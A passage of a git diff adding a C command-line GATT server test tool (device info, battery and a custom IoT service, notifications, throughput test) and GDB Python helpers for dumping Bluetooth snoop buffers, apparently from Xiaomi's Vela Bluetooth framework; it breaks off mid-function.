IOT_SERVICE_AUTH_CHR_ID, +}; + +uint8_t read_pts_char_value[] = { 'H', 'e', 'l', 'l', 'o', ' ', 'P', 'T', 'S', '!' }; +uint8_t read_only_char_value[] = { 'H', 'e', 'l', 'l', 'o', ' ', 'V', 'E', 'L', 'A', '!' }; +uint8_t read_write_char_value[MAX_ATTRIBUTE_SIZE] = { 'H', 'e', 'l', 'l', 'o', ' ', 'V', 'E', 'L', 'A', '!' }; +uint16_t read_write_char_len = RW_CHAR_SIZE_DEFAULT; + +uint16_t tx_char_ccc_changed(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, const uint8_t* value, uint16_t length, uint16_t offset) +{ + PRINT_ADDR("gatts service TX char ccc changed, addr:%s", addr); + lib_dumpbuffer("new value:", value, length); + if (attr_handle == IOT_SERVICE_TX_CHR_CCC_ID) + cccd_enable = value[0]; + return length; +} + +uint16_t rx_pts_char_on_read(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, uint32_t req_handle) +{ + gatts_device_t* device; + uint16_t payload_len; + uint16_t mtu = 23; + + PRINT_ADDR("gatts service PTS RX char received read request, addr:%s", addr); + + device = find_gatts_device(addr); + if (device) { + mtu = device->gatt_mtu; + } + + /* GATT/SR/GAC/BV-01-C: return payload len = ATT_MTU - 1 */ + payload_len = mtu + ATT_HEADER_SIZE - 1; + + /* Allocate response buffer from heap */ + uint8_t* rsp_data = (uint8_t*)malloc(payload_len); + if (!rsp_data) { + PRINT("malloc rsp_data failed, size: %" PRIu16, payload_len); + return 0; + } + + memset(rsp_data, 0xAA, payload_len); + + bt_status_t ret = bt_gatts_response(srv_handle, addr, req_handle, rsp_data, payload_len); + PRINT("gatts service PTS RX char response. status: %d", ret); + + free(rsp_data); + return 0; +} + +uint16_t rx_char_on_read(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, uint32_t req_handle) +{ + gatts_device_t* device; + uint16_t mtu = 23; + + PRINT_ADDR("gatts service RX char received read request, addr:%s", addr); + + device = find_gatts_device(addr); + if (device) { + mtu = device->gatt_mtu; + } + + bt_status_t ret = bt_gatts_response(srv_handle, addr, req_handle, read_write_char_value, + MIN(read_write_char_len, mtu)); + PRINT("gatts service RX char response. status: %d", ret); + return 0; +} + +uint16_t rx_char_on_write(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, const uint8_t* value, uint16_t length, uint16_t offset) +{ + if (offset + length > sizeof(read_write_char_value)) { + PRINT("invalid offset (%u) or too long length (%u)", offset, length); + return 0; + } + + if (!offset) { + memset(read_write_char_value, 0, length); + } + + memcpy(read_write_char_value + offset, value, length); + read_write_char_len = offset + length; + + PRINT_ADDR("gatts service RX char received write request, addr:%s", addr); + lib_dumpbuffer("write value:", value, length); + + return length; +} + +const char model_number_str[] = "Vela_bt"; +const char manufacturer_name_str[] = "Xiaomi"; +const uint8_t pnp_id[7] = { + 0x02, // pnp_vid_src + 0x8F, 0x03, // pnp_vid + 0x34, 0x12, // pnp_pid + 0x00, 0x01 // pnp_ver +}; + +static gatt_attr_db_t s_dis_attr_db[] = { + GATT_H_PRIMARY_SERVICE(BT_UUID_DECLARE_16(0x180A), DIS_SERVICE_ID), + GATT_H_CHARACTERISTIC_AUTO_RSP(BT_UUID_DECLARE_16(0x2A24), GATT_PROP_READ, GATT_PERM_READ, (uint8_t*)model_number_str, sizeof(model_number_str), DIS_MODEL_NUMBER_CHR_ID), + GATT_H_CHARACTERISTIC_AUTO_RSP(BT_UUID_DECLARE_16(0x2A29), GATT_PROP_READ, GATT_PERM_READ, (uint8_t*)manufacturer_name_str, sizeof(manufacturer_name_str), DIS_MANUFACTURER_NAME_CHR_ID), + GATT_H_CHARACTERISTIC_AUTO_RSP(BT_UUID_DECLARE_16(0x2A50), GATT_PROP_READ, GATT_PERM_READ, (uint8_t*)pnp_id, sizeof(pnp_id), DIS_PNP_CHR_ID), +}; + +static gatt_srv_db_t s_dis_service_db = { + .attr_db = s_dis_attr_db, + .attr_num = sizeof(s_dis_attr_db) / sizeof(gatt_attr_db_t), +}; + +static uint8_t battery_level = 100U; + +static gatt_attr_db_t s_bas_attr_db[] = { + GATT_H_PRIMARY_SERVICE(BT_UUID_DECLARE_16(0x180F), BAS_SERVICE_ID), + GATT_H_CHARACTERISTIC_AUTO_RSP(BT_UUID_DECLARE_16(0x2A19), GATT_PROP_READ | GATT_PROP_NOTIFY, GATT_PERM_READ, &battery_level, sizeof(battery_level), BAS_BATTERY_LEVEL_CHR_ID), + GATT_H_CCCD(GATT_PERM_READ | GATT_PERM_WRITE, tx_char_ccc_changed, BAS_BATTERY_LEVEL_CHR_CCC_ID), +}; + +static gatt_srv_db_t s_bas_service_db = { + .attr_db = s_bas_attr_db, + .attr_num = sizeof(s_bas_attr_db) / sizeof(gatt_attr_db_t), +}; + +static gatt_attr_db_t s_iot_attr_db[] = { + /* Private IOT Service - 0xFF00 */ + GATT_H_PRIMARY_SERVICE(BT_UUID_DECLARE_16(0xFF00), IOT_SERVICE_ID), + /* Private Characteristic for TX - 0xFF01 */ + GATT_H_CHARACTERISTIC_AUTO_RSP(BT_UUID_DECLARE_16(0xFF01), GATT_PROP_NOTIFY | GATT_PROP_INDICATE, 0, NULL, 0, IOT_SERVICE_TX_CHR_ID), + /* Client Characteristic Configuration Descriptor - 0x2902 */ + GATT_H_CCCD(GATT_PERM_READ | GATT_PERM_WRITE | GATT_PERM_AUTHEN_REQUIRED, tx_char_ccc_changed, IOT_SERVICE_TX_CHR_CCC_ID), + /* Private Characteristic for RX - 0xFF02 */ + GATT_H_CHARACTERISTIC_USER_RSP(BT_UUID_DECLARE_16(0xFF02), GATT_PROP_READ | GATT_PROP_WRITE_NR | GATT_PROP_WRITE, GATT_PERM_READ | GATT_PERM_WRITE, rx_char_on_read, rx_char_on_write, IOT_SERVICE_RX_CHR_ID), + /* Private Characteristic for read operation demo - 0xFF05 */ + GATT_H_CHARACTERISTIC_AUTO_RSP(BT_UUID_DECLARE_16(0xFF05), GATT_PROP_READ, GATT_PERM_READ, read_only_char_value, sizeof(read_only_char_value), IOT_SERVICE_READ_CHR_ID), + /* PTS: MTU-1 Read characteristic - 0xFF06 */ + GATT_H_CHARACTERISTIC_USER_RSP(BT_UUID_DECLARE_16(0xFF06), GATT_PROP_READ, GATT_PERM_READ, rx_pts_char_on_read, NULL, IOT_SERVICE_PTS_MTU_CHR_ID), + /* Private Characteristic for read and Signed write demo - 0xFF07 */ + GATT_H_CHARACTERISTIC_USER_RSP(BT_UUID_DECLARE_16(0xFF07), GATT_PROP_READ | GATT_PROP_SIGNED_WRITE, GATT_PERM_READ | GATT_PERM_WRITE, rx_char_on_read, rx_char_on_write, IOT_SERVICE_SIGN_RW_CHR_ID), + /* Private Characteristic for Auth R/W demo - 0xFF08 */ + GATT_H_CHARACTERISTIC_USER_RSP(BT_UUID_DECLARE_16(0xFF08), GATT_PROP_READ | GATT_PROP_WRITE, GATT_PERM_READ | GATT_PERM_WRITE | GATT_PERM_AUTHEN_REQUIRED, rx_char_on_read, rx_char_on_write, IOT_SERVICE_AUTH_CHR_ID), +}; + +static gatt_srv_db_t s_iot_service_db = { + .attr_db = s_iot_attr_db, + .attr_num = sizeof(s_iot_attr_db) / sizeof(gatt_attr_db_t), +}; + +static bt_command_t g_gatts_tables[] = { + { "register", register_cmd, 0, "\"register gatt service(DIS = 1, BAS = 2, CUSTOM = 3) :<id>\"" }, + { "unregister", unregister_cmd, 0, "\"unregister gatt service :<id>\"" }, + { "start", start_cmd, 0, "\"start gatt service :<id>\"" }, + { "stop", stop_cmd, 0, "\"stop gatt service :<id>\"" }, + { "connect", connect_cmd, 0, "\"connect remote device :<id><address>[addr type(0:public,1:random,2:public_id,3:random_id)]\"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect remote device :<id><address>\"" }, + { "notify_battery", notify_bas_cmd, 0, "\"send battery notification :<address><level>(0-100)\"" }, + { "notify_custom", notify_cus_cmd, 0, "\"send custom notification :<address><playload>\"" }, + { "indicate_custom", indicate_cus_cmd, 0, "\"send custom indication :<address><playload>\"" }, + { "read_phy", read_phy_cmd, 0, "\"read phy :<id><address>\"" }, + { "update_phy", update_phy_cmd, 0, "\"update phy(0: 1M, 1: 2M, 3: LE_Coded) :<id><address><tx><rx>\"" }, + { "throughput", throughput_cmd, 0, "\"throughput test :<address><seconds>\"" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_gatts_tables); i++) { + printf("\t%-8s\t%s\n", g_gatts_tables[i].cmd, g_gatts_tables[i].help); + } +} + +static gatts_device_t* find_gatts_device(bt_address_t* addr) +{ + struct list_node* node; + list_for_every(&gatts_device_list, node) + { + gatts_device_t* device = (gatts_device_t*)node; + if (!bt_addr_compare(&device->remote_address, addr)) { + return device; + } + } + return NULL; +} + +static gatts_device_t* add_gatts_device(bt_address_t* addr) +{ + gatts_device_t* device = (gatts_device_t*)malloc(sizeof(gatts_device_t)); + if (!device) { + PRINT("malloc device failed!"); + return NULL; + } + + memcpy(&device->remote_address, addr, sizeof(bt_address_t)); + device->gatt_mtu = 23; + list_add_tail(&gatts_device_list, &device->node); + return device; +} + +static void remove_gatts_device(gatts_device_t* device) +{ + if (device) { + list_delete(&device->node); + free(device); + } +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + ble_addr_type_t addr_type = BT_LE_ADDR_TYPE_RANDOM; + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[1], &addr) < 0) + return CMD_INVALID_ADDR; + + gatts_handle_t service_handle; + int service_id = atoi(argv[0]); + GET_SERVICE_HANDLE(service_id, service_handle) + + if (argc >= 3) { + addr_type = atoi(argv[2]); + if (addr_type > BT_LE_ADDR_TYPE_ANONYMOUS || addr_type < BT_LE_ADDR_TYPE_PUBLIC) { + return CMD_INVALID_OPT; + } + } + + if (bt_gatts_connect(service_handle, &addr, addr_type) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[1], &addr) < 0) + return CMD_INVALID_ADDR; + + gatts_handle_t service_handle; + int service_id = atoi(argv[0]); + GET_SERVICE_HANDLE(service_id, service_handle) + + gatts_device_t* device = find_gatts_device(&addr); + if (!device) { + PRINT_ADDR("device:%s is not connected", &addr); + return CMD_INVALID_ADDR; + } + + if (bt_gatts_disconnect(service_handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int start_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + gatts_handle_t service_handle; + gatt_srv_db_t* service_db; + int service_id = atoi(argv[0]); + switch (service_id) { + case GATT_SERVICE_DIS: + service_handle = g_dis_handle; + service_db = &s_dis_service_db; + break; + case GATT_SERVICE_BAS: + service_handle = g_bas_handle; + service_db = &s_bas_service_db; + break; + case GATT_SERVICE_CUSTOM: + service_handle = g_custom_handle; + service_db = &s_iot_service_db; + break; + default: + PRINT("invalid service id: %d", service_id); + return CMD_INVALID_OPT; + } + + if (!service_handle) { + PRINT("service[%d] is not registered!", service_id); + return CMD_ERROR; + } + + if (bt_gatts_add_attr_table(service_handle, service_db) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int stop_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + gatts_handle_t service_handle; + uint16_t attr_handle; + int service_id = atoi(argv[0]); + switch (service_id) { + case GATT_SERVICE_DIS: + service_handle = g_dis_handle; + attr_handle = DIS_SERVICE_ID; + break; + case GATT_SERVICE_BAS: + service_handle = g_bas_handle; + attr_handle = BAS_SERVICE_ID; + break; + case GATT_SERVICE_CUSTOM: + service_handle = g_custom_handle; + attr_handle = IOT_SERVICE_ID; + break; + default: + PRINT("invalid service id: %d", service_id); + return CMD_INVALID_OPT; + } + + if (!service_handle) { + PRINT("service[%d] is not registered!", service_id); + return CMD_ERROR; + } + + if (bt_gatts_remove_attr_table(service_handle, attr_handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int notify_bas_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + gatts_device_t* device = find_gatts_device(&addr); + if (!device) { + PRINT_ADDR("device:%s is not connected", &addr); + return CMD_INVALID_ADDR; + } + + int new_level = atoi(argv[1]); + if (new_level < 0 || new_level > 100) { + PRINT("invalid battery level: %d", new_level); + return CMD_INVALID_OPT; + } + + if (!g_bas_handle) { + PRINT("battery service is not registered!"); + return CMD_ERROR; + } + + battery_level = new_level; + if (bt_gatts_set_attr_value(g_bas_handle, BAS_BATTERY_LEVEL_CHR_ID, (uint8_t*)&battery_level, sizeof(battery_level)) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + if (bt_gatts_notify(g_bas_handle, &addr, BAS_BATTERY_LEVEL_CHR_ID, (uint8_t*)&battery_level, sizeof(battery_level)) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int notify_cus_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + gatts_device_t* device = find_gatts_device(&addr); + if (!device) { + PRINT_ADDR("device:%s is not connected", &addr); + return CMD_INVALID_ADDR; + } + + if (!g_custom_handle) { + PRINT("custom service is not registered!"); + return CMD_ERROR; + } + + if (bt_gatts_notify(g_custom_handle, &addr, IOT_SERVICE_TX_CHR_ID, (uint8_t*)argv[1], strlen(argv[1])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int indicate_cus_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + gatts_device_t* device = find_gatts_device(&addr); + if (!device) { + PRINT_ADDR("device:%s is not connected", &addr); + return CMD_INVALID_ADDR; + } + + if (!g_custom_handle) { + PRINT("custom service is not registered!"); + return CMD_ERROR; + } + + if (bt_gatts_indicate(g_custom_handle, &addr, IOT_SERVICE_TX_CHR_ID, (uint8_t*)argv[1], strlen(argv[1])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int read_phy_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[1], &addr) < 0) + return CMD_INVALID_ADDR; + + gatts_handle_t service_handle; + int service_id = atoi(argv[0]); + GET_SERVICE_HANDLE(service_id, service_handle) + + gatts_device_t* device = find_gatts_device(&addr); + if (!device) { + PRINT_ADDR("device:%s is not connected", &addr); + return CMD_INVALID_ADDR; + } + + if (bt_gatts_read_phy(service_handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int update_phy_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + int tx = atoi(argv[2]); + int rx = atoi(argv[3]); + + bt_address_t addr; + if (bt_addr_str2ba(argv[1], &addr) < 0) + return CMD_INVALID_ADDR; + + gatts_handle_t service_handle; + int service_id = atoi(argv[0]); + GET_SERVICE_HANDLE(service_id, service_handle) + + gatts_device_t* device = find_gatts_device(&addr); + if (!device) { + PRINT_ADDR("device:%s is not connected", &addr); + return CMD_INVALID_ADDR; + } + + if (bt_gatts_update_phy(service_handle, &addr, tx, rx) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int throughput_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int32_t test_time = atoi(argv[1]); + if (test_time <= 0) + return CMD_INVALID_OPT; + + if (!g_custom_handle) { + PRINT("please register and start custom service at first !"); + return CMD_ERROR; + } + + gatts_device_t* device = find_gatts_device(&addr); + if (!device) { + PRINT_ADDR("device:%s is not connected", &addr); + return CMD_INVALID_ADDR; + } + + if (!cccd_enable) { + PRINT("please enable cccd of custom tx char at first !"); + return CMD_ERROR; + } + + uint32_t notify_length = device->gatt_mtu; + uint8_t* payload = (uint8_t*)malloc(sizeof(uint8_t) * notify_length); + if (!payload) { + PRINT("notify payload malloc failed"); + return CMD_ERROR; + } + + int32_t run_time = 0; + uint32_t notify_count = 0; + uint32_t bit_rate = 0; + struct timespec start_ts; + + clock_gettime(CLOCK_BOOTTIME, &start_ts); + throughtput_cursor = 0; + + PRINT("gatts notify throughput test start, mtu = %" PRIu32 ", time = %" PRId32 "s.", notify_length, test_time); + while (1) { + struct timespec current_ts; + clock_gettime(CLOCK_BOOTTIME, ¤t_ts); + + if (run_time < (current_ts.tv_sec - start_ts.tv_sec)) { + run_time = (current_ts.tv_sec - start_ts.tv_sec); + bit_rate = notify_length * notify_count / run_time; + PRINT("gatts notify Bit rate = %" PRIu32 " Byte/s, = %" PRIu32 " bit/s, time = %" PRId32 "s.", bit_rate, bit_rate << 3, run_time); + } + + device = find_gatts_device(&addr); + if (!device || run_time >= test_time) { + break; + } + + if (throughtput_cursor >= THROUGHTPUT_HORIZON) { + usleep(500); + continue; + } + + memset(payload, notify_count & 0xFF, notify_length); + int ret = bt_gatts_notify(g_custom_handle, &addr, IOT_SERVICE_TX_CHR_ID, payload, notify_length); + if (ret != BT_STATUS_SUCCESS) { + PRINT("notify failed, ret: %d.", ret); + break; + } + throughtput_cursor++; + notify_count++; + } + free(payload); + + if (run_time <= 0) { + PRINT("gatts notify throughput test failed due to an unexpected interruption!"); + return CMD_ERROR; + } + + bit_rate = notify_length * notify_count / run_time; + PRINT("gatts notify throughput test finish, Bit rate = %" PRIu32 " Byte/s, = %" PRIu32 " bit/s, time = %" PRId32 "s.", + bit_rate, bit_rate << 3, run_time); + + return CMD_OK; +} + +static void connect_callback(void* srv_handle, bt_address_t* addr) +{ + PRINT_ADDR("gatts_connect_callback, addr:%s", addr); + add_gatts_device(addr); +} + +static void disconnect_callback(void* srv_handle, bt_address_t* addr) +{ + gatts_device_t* device = find_gatts_device(addr); + remove_gatts_device(device); + PRINT_ADDR("gatts_disconnect_callback, addr:%s", addr); +} + +static void attr_table_added_callback(void* srv_handle, gatt_status_t status, uint16_t attr_handle) +{ + PRINT("gatts add attribute table complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); +} + +static void attr_table_removed_callback(void* srv_handle, gatt_status_t status, uint16_t attr_handle) +{ + PRINT("gatts remove attribute table complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); +} + +static void notify_complete_callback(void* srv_handle, bt_address_t* addr, gatt_status_t status, uint16_t attr_handle) +{ + if (status != GATT_STATUS_SUCCESS) { + PRINT_ADDR("gatts service notify failed, addr:%s, handle 0x%" PRIx16 ", status:%d", addr, attr_handle, status); + return; + } + + if (throughtput_cursor) { + throughtput_cursor--; + } else { + PRINT_ADDR("gatts service notify complete, addr:%s, handle 0x%" PRIx16 ", status:%d", addr, attr_handle, status); + } +} + +static void mtu_changed_callback(void* srv_handle, bt_address_t* addr, uint32_t mtu) +{ + gatts_device_t* device = find_gatts_device(addr); + if (device) { + device->gatt_mtu = mtu; + } + PRINT_ADDR("gatts_mtu_changed_callback, addr:%s, mtu:%" PRIu32, addr, mtu); +} + +static void phy_read_callback(void* srv_handle, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT_ADDR("gatts read phy complete, addr:%s, tx:%d, rx:%d", addr, tx_phy, rx_phy); +} + +static void phy_updated_callback(void* srv_handle, bt_address_t* addr, gatt_status_t status, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT_ADDR("gatts phy updated, addr:%s, status:%d, tx:%d, rx:%d", addr, status, tx_phy, rx_phy); +} + +static void conn_param_changed_callback(void* srv_handle, bt_address_t* addr, uint16_t connection_interval, + uint16_t peripheral_latency, uint16_t supervision_timeout) +{ + PRINT_ADDR("gatts_conn_param_changed_callback, addr:%s, interval:%" PRIu16 ", latency:%" PRIu16 ", timeout:%" PRIu16, + addr, connection_interval, peripheral_latency, supervision_timeout); +} + +static gatts_callbacks_t gatts_cbs = { + sizeof(gatts_cbs), + connect_callback, + disconnect_callback, + attr_table_added_callback, + attr_table_removed_callback, + notify_complete_callback, + mtu_changed_callback, + phy_read_callback, + phy_updated_callback, + conn_param_changed_callback, +}; + +static int register_cmd(void* handle, int argc, char* argv[]) +{ + int ret = 0; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int service_id = atoi(argv[0]); + switch (service_id) { + case GATT_SERVICE_DIS: + if (g_dis_handle) { + PRINT("dis has registed, please unregister then try again"); + return CMD_OK; + } + ret = bt_gatts_register_service(handle, &g_dis_handle, &gatts_cbs); + break; + case GATT_SERVICE_BAS: + if (g_bas_handle) { + PRINT("bas has registed, please unregister then try again"); + return CMD_OK; + } + ret = bt_gatts_register_service(handle, &g_bas_handle, &gatts_cbs); + break; + case GATT_SERVICE_CUSTOM: + if (g_custom_handle) { + PRINT("custom service has registed, please unregister then try again"); + return CMD_OK; + } + ret = bt_gatts_register_service(handle, &g_custom_handle, &gatts_cbs); + break; + default: + PRINT("invalid service id: %d", service_id); + return CMD_INVALID_OPT; + } + + if (ret != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("register service successful, service_id: %d", service_id); + + return CMD_OK; +} + +static int unregister_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + gatts_handle_t service_handle; + int service_id = atoi(argv[0]); + GET_SERVICE_HANDLE(service_id, service_handle) + + if (bt_gatts_unregister_service(service_handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("unregister service successful, service_id: %d", service_id); + return CMD_OK; +} + +int gatts_command_init(void* handle) +{ + return 0; +} + +int gatts_command_uninit(void* handle) +{ + if (g_dis_handle) { + bt_gatts_unregister_service(g_dis_handle); + } + + if (g_bas_handle) { + bt_gatts_unregister_service(g_bas_handle); + } + + if (g_custom_handle) { + bt_gatts_unregister_service(g_custom_handle); + } + + return 0; +} + +int gatts_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_gatts_tables, ARRAY_SIZE(g_gatts_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/gdb/btdiag_init.py b/tools/gdb/btdiag_init.py new file mode 100644 index 0000000000000000000000000000000000000000..a3ee046da657805dadb10ed090e65532d1ddaf23 --- /dev/null +++ b/tools/gdb/btdiag_init.py @@ -0,0 +1,104 @@ +############################################################################ +# frameworks/connectivity/bluetooth/tools/gdb/btdiag_init.py +# +# Copyright (C) 2024 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +############################################################################ +import sys + +sys.dont_write_bytecode = True # Prevent __pycache__ generation + +import os +import gdb +import importlib.util + +base_dir = os.path.dirname(os.path.abspath(__file__)) + +nxgdb_dir = os.path.abspath( + os.path.join(base_dir, "../../../../../nuttx/tools/pynuttx") +) +if nxgdb_dir not in sys.path: + sys.path.insert(0, nxgdb_dir) + +if base_dir not in sys.path: + sys.path.insert(0, base_dir) + +gdbinit_path = os.path.join(nxgdb_dir, "gdbinit.py") +if os.path.exists(gdbinit_path): + try: + with open(gdbinit_path, "rb") as f: + code = compile(f.read(), gdbinit_path, "exec") + exec(code, globals(), globals()) + gdb.write(f"Imported GDB init module from: {gdbinit_path}\n") + except Exception as e: + gdb.write(f"Failed to import GDB init module: {e}\n") +else: + gdb.write(f"GDB init file not found at: {gdbinit_path}\n") + +modules_to_register = [ + "service.btsocket", + "service.btdev", + "stack.btstack", + "driver.btsnoop", + "utlis.bttimeval", +] + + +def import_module_from_path(module_path): + module_name = os.path.splitext(os.path.basename(module_path))[0] + try: + spec = importlib.util.spec_from_file_location(module_name, module_path) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + gdb.write(f"Imported GDB command module: {module_path}\n") + except Exception as e: + gdb.write(f"Failed to import module {module_path}: {e}\n") + + +for module_name in modules_to_register: + module_path = os.path.join(base_dir, *module_name.split(".")) + ".py" + if os.path.exists(module_path): + import_module_from_path(module_path) + else: + gdb.write(f"Module not found: {module_path}\n") + + +# Register the bthelp command in GDB +class BtHelpCommand(gdb.Command): + """Custom command to show help information for Bluetooth-related GDB commands.""" + + def __init__(self): + super(BtHelpCommand, self).__init__("bthelp", gdb.COMMAND_SUPPORT) + + def invoke(self, arg, from_tty): + # Iterate through the modules and execute the help command for each + for module_name in modules_to_register: + command_name = module_name.split(".")[ + -1 + ] # Extract the command name from module name + try: + # Print a divider for each command + gdb.write(f"\n{'=' * 40}\n") + gdb.write(f"Help for command: {command_name}\n") + gdb.write(f"{'=' * 40}\n") + + # Execute the help command for each registered module + gdb.execute(f"{command_name} -h") + except gdb.error as e: + gdb.write(f"Failed to execute help for {command_name}: {e}\n") + + +# Instantiate the bthelp command +BtHelpCommand() diff --git a/tools/gdb/driver/btsnoop.py b/tools/gdb/driver/btsnoop.py new file mode 100644 index 0000000000000000000000000000000000000000..8f204da81adb500164b0fd7bb3d133890626979b --- /dev/null +++ b/tools/gdb/driver/btsnoop.py @@ -0,0 +1,231 @@ +############################################################################ +# frameworks/connectivity/bluetooth/tools/gdb/driver/btsnoop.py +# +# Copyright (C) 2024 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +############################################################################ +import argparse +import gdb +from nxgdb import utils +import struct + + +class BTSnoopCommand(gdb.Command): + """Command to capture Bluetooth snoop data and save it to a specified file.""" + + def __init__(self): + # Register the command in GDB with the name "btsnoop" + super(BTSnoopCommand, self).__init__("btsnoop", gdb.COMMAND_DATA) + self.setup_parser() + + def setup_parser(self): + # Use argparse to parse command line arguments + self.parser = argparse.ArgumentParser(description=self.__doc__) + self.parser.add_argument( + "-p", + "--path", + required=False, + default="/dev/ttyBT0", + help="Device path, e.g., /dev/ttyBT0. , /dev/ttyBLE0", + ) + self.parser.add_argument( + "-f", + "--file", + required=False, + default="snoop_circlebuffer_default.log", + help="Output log file path, e.g., /snoop_circlebuffer_01.log.", + ) + self.parser.add_argument( + "-a", + "--all", + action="store_true", + help="Dump the entire buffer content.", + required=False, + default=False, + ) + + def invoke(self, args, from_tty): + # Parse command line arguments + argv = gdb.string_to_argv(args) + try: + parsed_args = self.parser.parse_args(argv) + except SystemExit: + return + + device_path = parsed_args.path + output_path = parsed_args.file + dump_all = parsed_args.all + + # Find inode by device path + inode = self.get_inode_by_path(device_path) + if inode is None: + gdb.write("Error: Inode for path '{}' not found.\n".format(device_path)) + return + + # Get device pointer (dev) + dev_pointer = inode["i_private"] + uart_bth4_type = utils.lookup_type("struct uart_bth4_s").pointer() + dev = dev_pointer.cast(uart_bth4_type) + + if dev is None: + gdb.write("Error: Device pointer (dev) is NULL or unable to cast.\n") + return + + circbuf = dev["circbuf"] + self.dump_circbuf_to_snoop_file(circbuf, output_path, dump_all) + + def get_inode_by_path(self, path): + """Helper function to get the inode based on the given device path.""" + try: + from nxgdb import fs # delay import + + return next((node for node, p in fs.foreach_inode() if path == p), None) + except Exception as e: + gdb.write(f"Error: Failed to get inode for path '{path}': {e}\n") + return None + + def get_header_length(self, tlv_type): + if tlv_type == 2: + return utils.lookup_type("struct bt_hci_acl_hdr_s").sizeof + elif tlv_type == 4: + return utils.lookup_type("struct bt_hci_evt_hdr_s").sizeof + elif tlv_type == 5: + return utils.lookup_type("struct bt_hci_iso_hdr_s").sizeof + return None + + def get_data_length(self, tlv_type, header): + if tlv_type == 2: + _, data_len = struct.unpack("<HH", header[1:5]) + elif tlv_type == 4: + _, data_len = struct.unpack("BB", header[1:3]) + elif tlv_type == 5: + _, data_len = struct.unpack("<HH", header[1:5]) + else: + data_len = 0 + return data_len + + def circbuf_size(self, circbuf): + """Return size of the circular buffer.""" + return int(circbuf["size"]) + + def circbuf_used(self, circbuf): + """Return the used bytes of the circular buffer.""" + return int(circbuf["head"]) - int(circbuf["tail"]) + + def circbuf_read(self, circbuf, pos, bytes_to_read): + """Get data from a specified position in the circular buffer without removing.""" + base = circbuf["base"] + size = self.circbuf_size(circbuf) + head = int(circbuf["head"]) + offset = pos % size + len1 = min( + bytes_to_read, size - offset + ) # First read length (until end of buffer) + len2 = bytes_to_read - len1 # Remaining read length (from start of buffer) + + # Read the memory in two parts if 